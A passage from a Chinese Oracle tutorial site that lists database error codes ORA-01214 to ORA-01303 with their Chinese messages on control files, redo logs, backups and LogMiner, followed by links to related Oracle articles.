
ORA-01214: MAXLOGHISTORY 不可以超出

ORA-01215: 启用的线程在 CREATE CONTROLFILE 之后丢失

ORA-01216: 线程预计在 CREATE CONTROLFILE 之后禁用

ORA-01217: 日志文件成员属于一个不同的日志文件组

ORA-01218: 日志文件成员来自于不同的时间点

ORA-01219: 数据库未打开: 仅允许在固定表/视图中查询

ORA-01220: 在数据库打开之前基于文件的分类非法

ORA-01221: 数据文件与背景进程的文件不同

ORA-01222: 的 MAXINSTANCES 要求 MAXLOGFILES 至少是而不是

ORA-01223: 必须指定 RESETLOGS 以设置新的数据库名

ORA-01224: 标题中的组号与 GROUP 不匹配

ORA-01225: 线程编号大于 MAXINSTANCES

ORA-01226: 日志成员的文件标题与其它成员不一致

ORA-01227: 日志与其它日志不一致

ORA-01228: SET DATABASE 选项要求安装源数据库

ORA-01229: 数据文件与日志不一致

ORA-01230: 无法设置只读 - 文件处于脱机状态

ORA-01231: 无法设置读写 - 文件处于脱机状态

ORA-01232: 无法启动联机备份 - 文件是只读文件

ORA-01233: 文件是只读文件 - 无法使用备份控制文件恢复

ORA-01234: 无法终止文件的备份 - 文件在使用或在恢复中

ORA-01235: END BACKUP 对文件失败而对成功

ORA-01236: 文件标题访问的初始化过程中出现错误

ORA-01237: 无法扩展数据文件

ORA-01238: 无法收缩数据文件

ORA-01239: 数据库必须在 ARCHIVELOG 模式下使用外部高速缓存

ORA-01240: 一个命令中添加的数据文件过多

ORA- 01241: 外部高速缓存已停止

ORA-01242: 数据文件出现介质错误: 数据库处于 NOARCHIVELOG 模式

ORA-01243: 系统表空间文件出现介质错误

ORA-01244: 未命名的数据文件由介质恢复添加至控制文件

ORA-01245: RESETLOGS 完成时脱机文件将丢失

ORA-01246: 通过表空间的 TSPITR 来恢复文件

ORA-01247: 通过表空间的 TSPITR 来恢复数据库

ORA-01248: 文件在将来的不完整恢复中创建

ORA-01249: 不允许在 '克隆' 数据库中存档

ORA-01250: 文件标题访问的终止过程中出现错误

ORA-01251: 文件号的未知文件标题版本读取

ORA-01252: 无法禁止写 - 文件在恢复管理器备份中

ORA-01253: 无法启动联机备份 - 文件在恢复管理器备份中

ORA-01254: 无法结束联机备份 - 文件在恢复管理器备份中

ORA-01255: 无法关闭 - 文件在恢复管理器备份中

ORA-01256: 在锁定数据库文件  时出错

ORA-01257: 不能重用数据库文件 ,文件大小未知

ORA-01258: 无法删除临时文件

ORA-01259: 无法删除数据文件

ORA-01260: 当数据库打开时, 不能发出 ALTER DATABASE END BACKUP 命令

ORA-01261: 无法转换参数  目标字符串

ORA-01262: 在文件目标目录上无法进行统计

ORA-01263: 文件目标目录的名称无效

ORA-01264: 无法创建  文件名

ORA-01265: 无法删除文件

ORA-01266: 无法创建唯一的文件名

ORA-01267: 无法获取日期/时间

ORA-01268: 用于变更永久性 TABLESPACE 的 TEMPFILE 子句无效

ORA-01269: 目标参数字符串过长

ORA-01270: STANDBY_PRESERVES_NAMES 为 true 时, 不允许进行  操作

ORA-01271: 无法创建文件  的新文件名

ORA-01272: 只有当提供文件名时, 才允许 REUSE。

ORA-01274: 无法添加数据文件 '' - 无法创建文件

ORA-01275: 自动进行备用文件管理时, 不允许进行  操作。

ORA-01276: 无法添加文件 。  相应文件具有一个 Oracle 管理文件文件名。

ORA-01277: 文件 '' 已存在

ORA-01278: 创建文件 '' 出错

ORA-01279: db_files 太大

ORA-01280: 严重的 LogMiner 错误。

ORA-01281: 指定的 SCN 范围无效

ORA-01282: 指定的日期范围无效

ORA-01283: 指定选项无效

ORA-01284: 文件  无法打开

ORA-01285: 读取文件  时出错

ORA-01286: 由于 DB_ID 不匹配无法添加文件

ORA-01287: 文件  来源于其他的数据库原型

ORA-01288: 文件  来自不同的数据库实体

ORA-01289: 无法添加重复的日志文件

ORA-01290: 无法删除未列出的日志文件

ORA-01291: 丢失的日志文件

ORA-01292: 当前 LogMiner 会话无指定的日志文件

ORA-01293: 时间或 SCN 范围没有完全包含在列出的日志文件中

ORA-01294: 当处理字典文件  中的信息时出错,可能损坏

ORA-01295: 字典  和日志文件之间的 DB_ID 不匹配

ORA-01296: 字典  和日志文件之间的字符集不匹配

ORA-01297: 字典  和日志文件之间的重做版本不匹配

ORA-01298: 字典  和最早的日志文件不是 SCN 可兼容的

ORA-01299: 字典  对应于不同的数据库原型

ORA-01300: 字典  和最早的日志文件之间已启用的线程位向量不匹配

ORA-01301: dbms_logmnr.USE_COLMAP 只用于有效字典

ORA-01302: 在 logmnr.opt 文件中出现语法错误

ORA-01303: 在 logmnr.opt 文件中指定的方案  不存在

篇8:oracle常用函数()

最近更 新

oracle监控某表变动触发器例子(监控增,删

浅析Oracle中的不等于号

解决plsql遇到乱码的问题

oracle下实现恢复一个丢失的数据文件的代

自动备份Oracle数据库

在命令行下进行Oracle用户解锁的语句

Oracle数据库密码文件的使用和维护

ORACLE锁机制深入理解

Oracle排名函数(Rank)实例详解

Oracle数据仓库的分层管理器解决方案开发

热 点 排 行

ORACLE 10g 安装教程[图文]

oracle常用sql语句

oracle sqlplus 常用命令大全

oracle 触发器 学习笔记

ORACLE常用数值函数、转换函数、

Oracle数据库下载及安装图文操作

oracle中的视图详解

oracle 查询表名以及表的列名

ORACLE数据库查看执行计划的方法

oracle 存储过程和函数例子

【Oracle的学习方法】相关文章:

1.oracle 笔试

2.数据库oracle笔试

3.Oracle常用命令――方便你我他

4.转发Oracle split函数

5.ORACLE日期时间函数

6.oracle数据库 面试宝典

7.Oracle数据库面试练习题

8.学习方法

9.ORACLE认证基础:ORACLE系统概述

10.Go语言的Oracle 驱动:gooci8

下载word文档
《Oracle的学习方法.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部